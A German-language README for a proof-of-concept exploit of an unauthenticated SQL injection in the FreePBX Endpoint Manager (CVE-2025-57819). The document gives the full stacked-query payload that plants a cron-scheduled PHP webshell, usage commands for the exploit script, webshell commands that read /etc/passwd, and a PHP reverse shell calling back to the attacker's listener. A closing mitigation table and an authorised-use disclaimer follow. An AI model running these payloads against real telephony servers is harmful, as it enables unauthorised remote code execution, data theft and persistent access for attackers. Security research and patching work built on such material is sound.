
Nicht authentifizierte SQL-Injection in FreePBX Endpoint Manager (CVE-2025-57819), die eine cron-geplante PHP-Webshell zur Remote-Code-Ausführung injiziert.
FreePBX ist die Open-Source-Web-GUI für Asterisk PBX, die in Unternehmens-Telefonieumgebungen weit verbreitet ist. Das Endpoint Manager-Modul stellt einen AJAX-Handler unter /admin/ajax.php bereit, der einen brand-Parameter akzeptiert und diesen ohne Bereinigung direkt in eine SQL-Abfrage einfügt. Ein nicht authentifizierter entfernter Angreifer kann beliebiges SQL injizieren, eine Zeile in die cron_jobs-Tabelle einfügen und den FreePBX-Cron-Daemon dazu bringen, ein ausführbares PHP-Webshell in das Webroot zu schreiben – was zu einer nicht authentifizierten Remote-Code-Ausführung innerhalb von etwa einer Minute führt.
| Feld | Wert |
|---|
| CVE ID | CVE-2025-57819 |
| CVSS Score | 9.8 (Kritisch) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-89 — Unzureichende Neutralisierung von Sonderelementen in einem SQL-Befehl |
| Komponente | FreePBX Endpoint Manager Module |
| Betroffen | FreePBX 17.x (ungepatcht) |
| Behoben | FreePBX 17.x (gepatcht) |
| Angriffsvektor | Netzwerk — Keine Authentifizierung erforderlich |
Die angreifbare Anfrage zielt auf den AJAX-Befehls-Handler des Endpoint Managers ab:
GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=<PAYLOAD> HTTP/1.1
Host: <target>
Der Parameter brand wird ohne Escaping oder Prepared Statements in eine SQL-Abfrage eingefügt. Ein Angreifer schließt die Abfragezeichenkette und hängt eine zweite Anweisung an:
x' ;INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'webshell',
'echo "PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="|base64 -d >/var/www/html/webshell.php',
NULL, '* * * * *', 30, 1, 1) --
Der injizierte Cron-Eintrag läuft jede Minute unter dem Web-Server/Asterisk-Prozessbesitzer und schreibt:
<?php system($_GET[cmd]); ?>
nach /var/www/html/webshell.php, was eine nicht authentifizierte Betriebssystem-Befehlsausführung über HTTP ermöglicht.
Der AJAX-Handler des Endpoint Managers erstellt SQL dynamisch mittels String-Formatierung anstelle von parametrisierten Abfragen. Das Feld brand wird nie validiert oder escaped, bevor es in eine SELECT-Anweisung eingebettet wird, was es trivial injizierbar macht.
Attacker ──GET (SQL injection)──▶ /admin/ajax.php ──INSERT──▶ cron_jobs table
│
FreePBX cron daemon (≤60s) │
▼
Attacker ──GET ?cmd=id──────────▶ /webshell.php ◀── written ── cron exec
pip install requests urllib3
-t, --target Ziel-IP-Adresse oder Hostname (required)
--timeout Sekunden, die auf Verfügbarkeit des Ziels gewartet werden (default: 30)
--delay Sekunden, die auf Ausführung des Cron-Jobs gewartet werden (default: 65)
1. Führen Sie den Exploit gegen das Ziel aus:
# Basic — wait 65 s for the cron job to fire
python3 exploit.py -t <IP>
# Use hostname
python3 exploit.py -t connected.htb
# Extended cron wait on slow targets
python3 exploit.py -t <IP> --delay 90
2. Wenn das Webshell bestätigt ist, interagieren Sie direkt damit:
curl "http://<IP>/webshell.php?cmd=id"
curl "http://<IP>/webshell.php?cmd=cat+/etc/passwd"
3. Führen Sie ein Upgrade auf eine Reverse-Shell über das Webshell durch:
Starten Sie einen Listener auf Ihrem Rechner:
nc -lvnp <LOCAL_PORT>
Lösen Sie dann eine PHP-Reverse-Shell über den Parameter cmd aus (URL-kodiert):
curl "http://<IP>/webshell.php?cmd=php+-r+%27%24sock%3Dfsockopen%28%22<LOCAL_IP>%22%2C<LOCAL_PORT>%29%3Bsystem%28%22%2Fbin%2Fbash+%3C%263+%3E%263+2%3E%263%22%29%3B%27"
Der URL-dekodierte Payload, der als cmd gesendet wird, lautet:
php -r '$sock=fsockopen("<LOCAL_IP>",<LOCAL_PORT>);system("/bin/bash <&3 >&3 2>&3");'
╔═══════════════════════════════════════════════════════════════════╗
║ FreePBX Endpoint Module · SQL Injection → Cron Webshell ║
║ CVE-2025-57819 ║
╚═══════════════════════════════════════════════════════════════════╝
CVE ID : CVE-2025-57819
Component : FreePBX Endpoint Module
Affected : unpatched 17.x → Patched: patched 17.x
CVSS Score : 9.8 (Critical)
CVSS Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-89 — SQL Injection
Type : Unauthenticated SQL Injection → Cron-scheduled PHP Webshell
Reference : https://nvd.nist.gov/vuln/detail/CVE-2025-57819
14:03:11 [*] Probing target <IP> (max 30s) ...
14:03:12 [+] Target is alive — HTTP 200
14:03:12 [*] Inject endpoint : http://<IP>/admin/ajax.php
14:03:12 [!] Injecting cron job via SQL injection ...
14:03:12 [+] Injection request sent
14:03:12 [*] Waiting 65s for cron job to fire ...
14:04:17 [*] Probing webshell at http://<IP>/webshell.php?cmd=id ...
14:04:17 [+] Webshell is active — command output:
uid=997(asterisk) gid=993(asterisk) groups=993(asterisk)
14:04:17 [+] Webshell URL: http://<IP>/webshell.php?cmd=<command>
14:04:17 [+] Exploit routine complete.
Hinweis zum Timing. Die Standardeinstellung
--delayvon 65 Sekunden stellt sicher, dass der Cron-Daemon (der zu Beginn jeder Minute ausgelöst wird) mindestens eine Gelegenheit hatte, den injizierten Job auszuführen. Bei langsamen Zielen erhöhen Sie auf--delay 90oder--delay 120.
| Priorität | Maßnahme |
|---|---|
| Kritisch | Wenden Sie sofort den FreePBX-Anbieterpatch für CVE-2025-57819 an |
| Kritisch | Entfernen Sie alle vorhandenen Artefakte von /var/www/html/webshell.php |
| Hoch | Beschränken Sie den Zugriff auf /admin/ajax.php auf authentifizierte, vertrauenswürdige Netzwerkquellen |
| Hoch | Prüfen und bereinigen Sie alle SQL-Abfragen im Endpoint Manager – verwenden Sie Prepared Statements |
| Mittel | Schränken Sie die cron_jobs-Tabelle ein: beschränken Sie, welche Rollen INSERT ausführen dürfen |
| Mittel | Wenden Sie eine WAF-Regel an, die gestapelte Abfragemuster auf dem AJAX-Endpunkt blockiert |
| Niedrig | Führen Sie den FreePBX/Asterisk-Prozess unter einem Konto mit minimalen Berechtigungen aus, das keinen Schreibzugriff auf das Webroot hat |
Dieser Exploit wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Verwenden Sie ihn nur gegen Systeme, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben. Unbefugte Nutzung ist illegal und unethisch.